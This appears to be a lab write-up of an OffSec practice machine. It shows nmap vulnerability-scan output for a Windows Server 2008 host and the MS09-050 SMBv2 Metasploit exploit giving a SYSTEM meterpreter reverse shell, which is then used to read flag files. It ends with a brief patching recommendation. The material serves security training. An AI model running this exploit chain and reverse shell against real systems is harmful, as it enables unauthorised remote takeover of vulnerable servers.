

report

Recon

I ran a script scan with `sudo nmap -sVC $TARGET --script vuln` against the target to enumerate it.

```
kali@kali: ~  
Session Actions Edit View Help  
└─$ sudo nmap -sVC $TARGET --script vuln tun0:192.168.45.214 | TARGET:192.168.222.40 | 03-01-26 12:43:24  
[sudo] password for kali:  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-01 12:44 EST  
Nmap scan report for 192.168.222.40  
Host is up (0.029s latency).  
Not shown: 987 closed tcp ports (reset)  
PORT      STATE SERVICE        VERSION  
53/tcp    open  domain         Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)  
135/tcp   open  msrpc          Microsoft Windows RPC  
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds   Microsoft Windows Server 2008 R2 microsoft-ds (workgroup: WORKGROUP)  
3389/tcp   open  ms-wbt-server  Microsoft Terminal Service  
|_ssl-ccs-injection: No reply from server (TIMEOUT)  
5357/tcp   open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)  
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.  
|_http-dombased-xss: Couldn't find any DOM based XSS.  
|_http-server-header: Microsoft-HTTPAPI/2.0  
|_http-csrf: Couldn't find any CSRF vulnerabilities.  
49152/tcp open  msrpc          Microsoft Windows RPC  
49153/tcp open  msrpc          Microsoft Windows RPC  
49154/tcp open  msrpc          Microsoft Windows RPC  
49155/tcp open  msrpc          Microsoft Windows RPC  
49156/tcp open  msrpc          Microsoft Windows RPC  
49157/tcp open  msrpc          Microsoft Windows RPC  
49158/tcp open  msrpc          Microsoft Windows RPC  
Service Info: Host: INTERNAL; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008::sp1, cpe:/o:microsoft:windows_server_2008:r2  
  
Host script results:  
| smb-vuln-cve2009-3103:  
|   VULNERABLE:  
|     SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)  
|     State: VULNERABLE  
|     IDs: CVE:CVE-2009-3103  
|     Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, aka "SMBv2 Negotiation Vulnerability."  
|     Disclosure date: 2009-09-08  
|     References:  
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103  
|       http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103  
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: EOF  
|_smb-vuln-ms10-054: false  
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: TIMEOUT  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 177.13 seconds  
  
(kali@kali)-[~]  
$
```

CVE-2009-3103 shows up. Let's search msfconsole.

Exploit

The first exploit, `windows/smb/ms09_050_smb2_negotiate_func_index`, is the one we will use.

```

    =[ metasploit v6.4.99-dev
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,683 payloads
+ -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search cve-2009-3103

Matching Modules

#  Name
-  -
0  exploit/windows/smb/ms09_050_smb2_negotiate_func_index
   ocessID Function Table Dereference
1  auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh
   unction Table Dereference
2  auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
   NULL Pointer Dereference

Disclosure Date  Rank  Check  Description
2009-09-07      good  No      MS09-050 Microsoft SRV2.SYS SMB Negotiate Pr
Microsoft SRV2.SYS SMB Negotiate ProcessID F
Microsoft SRV2.SYS SMB2 Logoff Remote Kernel

Interact with a module by name or index. For example info 2, use 2 or use auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff

msf > date
[*] exec: date

Sun Mar 1 03:06:12 PM EST 2026
msf > echo $TARGET
[*] exec: echo $TARGET

192.168.222.40
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set RHOSTS 192.168.222.40
RHOSTS => 192.168.222.40

```

It is possible due to the nature of heap corruption exploits, that this exploit is non-deterministic. It may take multiple tries to pop a shell.

I am switching to the in-browser Kali from `portal.offsec.com`.

```

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\Windows\system32
meterpreter > localtime
Local Date/Time: 2026-03-01 12:23:01.930 Pacific Standard Time (UTC-800)
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.52.40 - Meterpreter session 1 closed. Reason: User exit
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set LHOST
LHOST => 192.168.49.52
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set RHOSTS
RHOSTS => 192.168.52.40
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > date
[*] exec: date

Sun Mar 1 08:23:16 PM UTC 2026

```

It works! The exploit required running from within the OffSec-provided Kali instance, as it has the correct VPN routing to the victim.

Useful commands:

- `getuid`
- `pwd`

- localtime

I will now steal the flag.

```

kali@kali: ~
Session Actions Edit View Help
Sun Mar 1 08:23:16 PM UTC 2026
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run
[*] Started reverse TCP handler on 192.168.49.52:4444
[*] 192.168.52.40:445 - Connecting to the target (192.168.52.40:445) ...
[*] 192.168.52.40:445 - Sending the exploit packet (951 bytes) ...
[*] 192.168.52.40:445 - Waiting up to 180 seconds for exploit to trigger ...
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run
[*] Started reverse TCP handler on 192.168.49.52:4444
[*] 192.168.52.40:445 - Connecting to the target (192.168.52.40:445) ...
[*] 192.168.52.40:445 - Sending the exploit packet (951 bytes) ...
[*] 192.168.52.40:445 - Waiting up to 180 seconds for exploit to trigger ...
[*] Sending stage (190534 bytes) to 192.168.52.40
[*] Meterpreter session 2 opened (192.168.49.52:4444 → 192.168.52.40:49159) at 2026-03-01 20:27:00 +0000

meterpreter > cd C:\users\Administrator\Desktop
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd C:/Users/Administrator/Desktop
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > localtime
Local Date/Time: 2026-03-01 12:31:17.816 Pacific Standard Time (UTC-800)
meterpreter > ls
Listing: C:\Users\Administrator\Desktop

Mode                Size      Type      Last modified          Name
-----
100666/rw-rw-rw-    282     fil      2010-01-08 11:28:23 +0000 desktop.ini
100666/rw-rw-rw-     32     fil      2016-05-21 05:26:53 +0000 network-secret.txt
100666/rw-rw-rw-     34     fil      2026-03-01 20:19:44 +0000 proof.txt

meterpreter > cat network-secret.txt
9be35de7610eb55b8c1aeb6e18bf4c9f
meterpreter > cat proof.txt
5eda6ba6e0f220535228b80e0eb5033a
meterpreter >

```

Recommendations

Update Windows immediately to Windows 11 or higher. Do not use outdated services. It is highly likely that other vulnerabilities exist that could lead to full system compromise.